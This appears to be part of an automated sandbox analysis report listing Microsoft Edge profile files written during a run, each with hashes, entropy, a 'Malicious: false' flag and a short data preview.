SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF37deb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3cef9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d4f5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.318928867842344
Encrypted:	false
SSDEEP:	3:YWRAWNjALD8JXPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsYsKAb:YWyWNkk1Bv31dB8wXwlmUUAnIMp5jsn/
MD5:	67EFB122321080CACB819F0213BB208B
SHA1:	234DCF300376E68144897B4E8C4A76F85B020741
SHA-256:	0E70C9F52D515F76BE4DB0527A9E8831AECAD2459D6CA03CD879CFEE6D85CD18
SHA-512:	99E99E47B3F567381929610286029F9C5A63E65F46FD1DF2B0E631A919F1963E79E84959A9660A6D3C87CBAE5A7DE0FD08081E276A00AC40F3D81DBAB35BD727
Malicious:	false
Preview:	{"sts":[{"expiry":1753517617.08449,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721981617.084495}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a1b35ed1-c307-44f8-8c94-cb5d1d562236.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c4ad7574-1a15-43ae-bc21-abf93bd8d1cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e06d2d28-9777-407d-a988-9c0a4abd9ac0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.318928867842344
Encrypted:	false
SSDEEP:	3:YWRAWNjALD8JXPI0omRSSXmQh3wYHGKB8HQXwlm9yJUA6XcIR6RX77XMqdsYsKAb:YWyWNkk1Bv31dB8wXwlmUUAnIMp5jsn/
MD5:	67EFB122321080CACB819F0213BB208B
SHA1:	234DCF300376E68144897B4E8C4A76F85B020741
SHA-256:	0E70C9F52D515F76BE4DB0527A9E8831AECAD2459D6CA03CD879CFEE6D85CD18
SHA-512:	99E99E47B3F567381929610286029F9C5A63E65F46FD1DF2B0E631A919F1963E79E84959A9660A6D3C87CBAE5A7DE0FD08081E276A00AC40F3D81DBAB35BD727
Malicious:	false
Preview:	{"sts":[{"expiry":1753517617.08449,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1721981617.084495}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8307038620100359
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAz7Nm2z8ZI7J5fc:T+OUzDbg3eAzA2ztc
MD5:	B18967139991D9CA13DF7E493540A358
SHA1:	97411C14A8503C11248BE7404C9A79BA5146D40C
SHA-256:	CCC36F21951B4CB357C57DA0CCA1FFF3B4C7027230C10FD8BCB72C0AFF66141F
SHA-512:	473AE1B215B181785EA65F87E34155D5976C7AD1FA487B025E1C8711BFD127E99066990105CDA8D6F4804459118361217455AB1644803D22E6ECB164EEEFD630
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9369
Entropy (8bit):	5.106084542893347
Encrypted:	false
SSDEEP:	192:stikdysW9yaNPmkVG3B8fbV+FiAR+PoYJ:stidsW9tJXbGiJ
MD5:	BC8B14C440AD50D065B6850AFA1E6F5B
SHA1:	EAA03F3FE1E6E3237271C1BC5D52D4D75DD5AC26
SHA-256:	CB62395EACB7989BB8F3AD42B78C30575A5290210F621EAE311F56D70BCFABFB
SHA-512:	178B6355D940C51462522E664A236AB9186E3263B09518455ABDD1579897D7B94F7701885AC3D64BD52C323C3FD0098E238D4B7FA72C6DC1D0B289857589BFB4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366455193204747","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF39fea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9369
Entropy (8bit):	5.106084542893347
Encrypted:	false
SSDEEP:	192:stikdysW9yaNPmkVG3B8fbV+FiAR+PoYJ:stidsW9tJXbGiJ
MD5:	BC8B14C440AD50D065B6850AFA1E6F5B
SHA1:	EAA03F3FE1E6E3237271C1BC5D52D4D75DD5AC26
SHA-256:	CB62395EACB7989BB8F3AD42B78C30575A5290210F621EAE311F56D70BCFABFB
SHA-512:	178B6355D940C51462522E664A236AB9186E3263B09518455ABDD1579897D7B94F7701885AC3D64BD52C323C3FD0098E238D4B7FA72C6DC1D0B289857589BFB4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366455193204747","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ca08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9369
Entropy (8bit):	5.106084542893347
Encrypted:	false
SSDEEP:	192:stikdysW9yaNPmkVG3B8fbV+FiAR+PoYJ:stidsW9tJXbGiJ
MD5:	BC8B14C440AD50D065B6850AFA1E6F5B
SHA1:	EAA03F3FE1E6E3237271C1BC5D52D4D75DD5AC26
SHA-256:	CB62395EACB7989BB8F3AD42B78C30575A5290210F621EAE311F56D70BCFABFB
SHA-512:	178B6355D940C51462522E664A236AB9186E3263B09518455ABDD1579897D7B94F7701885AC3D64BD52C323C3FD0098E238D4B7FA72C6DC1D0B289857589BFB4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366455193204747","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"dips_timer_la

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	5.5688060480706065
Encrypted:	false
SSDEEP:	768:YOgv8HWP6hfWx8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/EFTfn/rwfpVpgtud:YOgv8HWP6hfWxu1japdnMfpsta
MD5:	BEB47CDC52AF5C3BDF3A4613054CBEF4
SHA1:	06A007BFDC2A21EB2DD54A21EA19133594C6C071
SHA-256:	15C5D0BDEB4A5DD8EB230E47555E62126914EFB6827C406ECAD371A1BCBAAF55
SHA-512:	6E0254000CA650F064F88365A4A842DCF010F5AC7B9E856CC4543E2DB1B3748342EC58CB9B92F99FAB6447C8ED6483DC5ECB98467B207EE671AD882FD412EFA1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366455192425137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366455192425137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF39cfc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	5.5688060480706065
Encrypted:	false
SSDEEP:	768:YOgv8HWP6hfWx8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/EFTfn/rwfpVpgtud:YOgv8HWP6hfWxu1japdnMfpsta
MD5:	BEB47CDC52AF5C3BDF3A4613054CBEF4
SHA1:	06A007BFDC2A21EB2DD54A21EA19133594C6C071
SHA-256:	15C5D0BDEB4A5DD8EB230E47555E62126914EFB6827C406ECAD371A1BCBAAF55
SHA-512:	6E0254000CA650F064F88365A4A842DCF010F5AC7B9E856CC4543E2DB1B3748342EC58CB9B92F99FAB6447C8ED6483DC5ECB98467B207EE671AD882FD412EFA1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366455192425137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366455192425137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d811.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	5.5688060480706065
Encrypted:	false
SSDEEP:	768:YOgv8HWP6hfWx8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/EFTfn/rwfpVpgtud:YOgv8HWP6hfWxu1japdnMfpsta
MD5:	BEB47CDC52AF5C3BDF3A4613054CBEF4
SHA1:	06A007BFDC2A21EB2DD54A21EA19133594C6C071
SHA-256:	15C5D0BDEB4A5DD8EB230E47555E62126914EFB6827C406ECAD371A1BCBAAF55
SHA-512:	6E0254000CA650F064F88365A4A842DCF010F5AC7B9E856CC4543E2DB1B3748342EC58CB9B92F99FAB6447C8ED6483DC5ECB98467B207EE671AD882FD412EFA1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366455192425137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366455192425137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	780
Entropy (8bit):	5.011592015240934
Encrypted:	false
SSDEEP:	24:Ra0ZZZZi3UPfG2EmNDGV/v/v/v/R/rYPT0YP2G9:tZZZZi3ixEVVHHHp0PTvP59
MD5:	82FEF2010053C9928B5A7783C436E1A8
SHA1:	E18D041205B118F360D521C6A2D5C29CE53756CB
SHA-256:	DDFD5D5B23A8566744CFABB6EA14D9B629996205413CE4E646CFD9BC4F44F898
SHA-512:	17F9C1B8589042FCC4904B6BC9A0C356247B74FB23C3607BB292A4EF9A67AED5B95BF0121C6C27471E0D075F485965E909C900E29B1CBDD770BEC3760EE99E90
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................j................next-map-id.1.Knamespace-0fe4a3e1_2854_488a_9a99_9f2d43af1d71-https://accounts.google.com/.0j.p.j................next-map-id.2.Knamespace-2596c3a3_18c5_43ae_885f_6745e20bc7d0-https://accounts.google.com/.1su..k................next-map-id.3.Lnamespace-2596c3a3_18c5_43ae_885f_6745e20bc7d0-https://accounts.youtube.com/.2.R..................R..................R..................R................._3..j................next-map-id.4.Knamespace-dad00c07_a0f5_4707_aa76_3fe1d7cc39a7-https://accounts.google.com/.3@...k................next-map-id.5.Lnamespace-dad00c07_a0f5_4707_aa76_3fe1d7cc39a7-https://accounts.youtube.com/.4

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.136917166587437
Encrypted:	false
SSDEEP:	6:BMAfUW3DVq2PcNwi23oH+TcwtrQMxIFUt84MAfUW4AgZmw+4MAfUWWIkwOcNwi2n:Nf7VvLZYebCFUt8wflg/+wfuI54ZYebf
MD5:	8C83D58E0E848424F02F8B59CE539CBD
SHA1:	6D298CBDD7BCC86FB08F5323AA651077F75BA749
SHA-256:	70A668C3EADD3F7E16DA0DCEFF4C82B85CC87E7FBDC4DD236478939B596B74F0
SHA-512:	7088A2D1F549684C744540CFD63C2D9427E947637FB1D4A91DD2582F235AB44F18F2FEB6F86170159BD8B3A7948E1339F8E634DC041D241FB516D52ED48C281E
Malicious:	false
Preview:	2024/07/26-04:13:13.458 12e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/07/26-04:13:13.470 12e0 Recovering log #3.2024/07/26-04:13:13.473 12e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.136917166587437
Encrypted:	false
SSDEEP:	6:BMAfUW3DVq2PcNwi23oH+TcwtrQMxIFUt84MAfUW4AgZmw+4MAfUWWIkwOcNwi2n:Nf7VvLZYebCFUt8wflg/+wfuI54ZYebf
MD5:	8C83D58E0E848424F02F8B59CE539CBD
SHA1:	6D298CBDD7BCC86FB08F5323AA651077F75BA749
SHA-256:	70A668C3EADD3F7E16DA0DCEFF4C82B85CC87E7FBDC4DD236478939B596B74F0
SHA-512:	7088A2D1F549684C744540CFD63C2D9427E947637FB1D4A91DD2582F235AB44F18F2FEB6F86170159BD8B3A7948E1339F8E634DC041D241FB516D52ED48C281E
Malicious:	false
Preview:	2024/07/26-04:13:13.458 12e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/07/26-04:13:13.470 12e0 Recovering log #3.2024/07/26-04:13:13.473 12e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13366455194931339

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24075
Entropy (8bit):	4.3491930129807495
Encrypted:	false
SSDEEP:	192:3XBJAPrPrPz2H6v308llQslcuYsMu2sFeN3atk9gbbKrFoXo49Fo2FoLo49FoneL:kPrPrPSav3pllXl3Pn1QekKbbKU6j81
MD5:	9221F3B4436FF3442515E9F85DA77DC0
SHA1:	9760B0BEF3A78432CC6D9A0E2ADC419A21754F9A
SHA-256:	3F71D3A1C70D64A32C123EA4A5908E5E1EB8729FA019C128181D4D78B9149314
SHA-512:	0E850286F14BEAE919B8D33214BF02A61D9A4B3E532B3935D65263C4FAD9B4056F7E21F897EDC6C55DDE0E34463B97ED394D0215EB3D4405A83FFC1E8D6648C9
Malicious:	false
Preview:	SNSS........X.[............X.[......".X.[............X.[........X.[........X.[........X.[....!...X.[................................X.[.X.[1..,....X.[$...0fe4a3e1_2854_488a_9a99_9f2d43af1d71....X.[........X.[.....f..........X.[....X.[........................X.[....................5..0....X.[&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}......X.[........X.[...............................X.[................X.[o...Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36.........................Not;A=Brand.....8.......Chromium....117.....Google Chrome.......117.........Not;A=Brand.....8.0.0.0.....Chromium....117.0.5938.132......Google Chrome.......117.0.5938.132......117.0.5938.132......Windows.....10.0.0......x86.............64..................X.[................X.[o...Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36.........................Not;A=Brand.....8.......Chromium...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.154154159661844
Encrypted:	false
SSDEEP:	6:BMAfUWQX3+q2PcNwi23oH+Tcwt7Uh2ghZIFUt84MAfUWQXXZmw+4MAfUWMuSNVkG:Nfk+vLZYebIhHh2FUt8wfE/+wf1iV54C
MD5:	C074B154438261C4F1D5E5EDB7F8C9A0
SHA1:	2B263D3B252756A9DFB333A853B023FE00EC3AE3
SHA-256:	F13354A61D4786029DD4F73C64C0681584789C1C2888F2AC43AF5C280A71D14F
SHA-512:	D2E086704EEB0F32CED8E4BF2624AA756DF4CEDCEA33C3D6BE21E8ED3E6DE623A1A6315EA25FACA3DC725DE30BCD908CBAD139E4341DC95018018E19B6CC1087
Malicious:	false
Preview:	2024/07/26-04:13:12.439 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/07/26-04:13:12.439 1d4c Recovering log #3.2024/07/26-04:13:12.440 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.154154159661844
Encrypted:	false
SSDEEP:	6:BMAfUWQX3+q2PcNwi23oH+Tcwt7Uh2ghZIFUt84MAfUWQXXZmw+4MAfUWMuSNVkG:Nfk+vLZYebIhHh2FUt8wfE/+wf1iV54C
MD5:	C074B154438261C4F1D5E5EDB7F8C9A0
SHA1:	2B263D3B252756A9DFB333A853B023FE00EC3AE3
SHA-256:	F13354A61D4786029DD4F73C64C0681584789C1C2888F2AC43AF5C280A71D14F
SHA-512:	D2E086704EEB0F32CED8E4BF2624AA756DF4CEDCEA33C3D6BE21E8ED3E6DE623A1A6315EA25FACA3DC725DE30BCD908CBAD139E4341DC95018018E19B6CC1087
Malicious:	false
Preview:	2024/07/26-04:13:12.439 1d4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/07/26-04:13:12.439 1d4c Recovering log #3.2024/07/26-04:13:12.440 1d4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

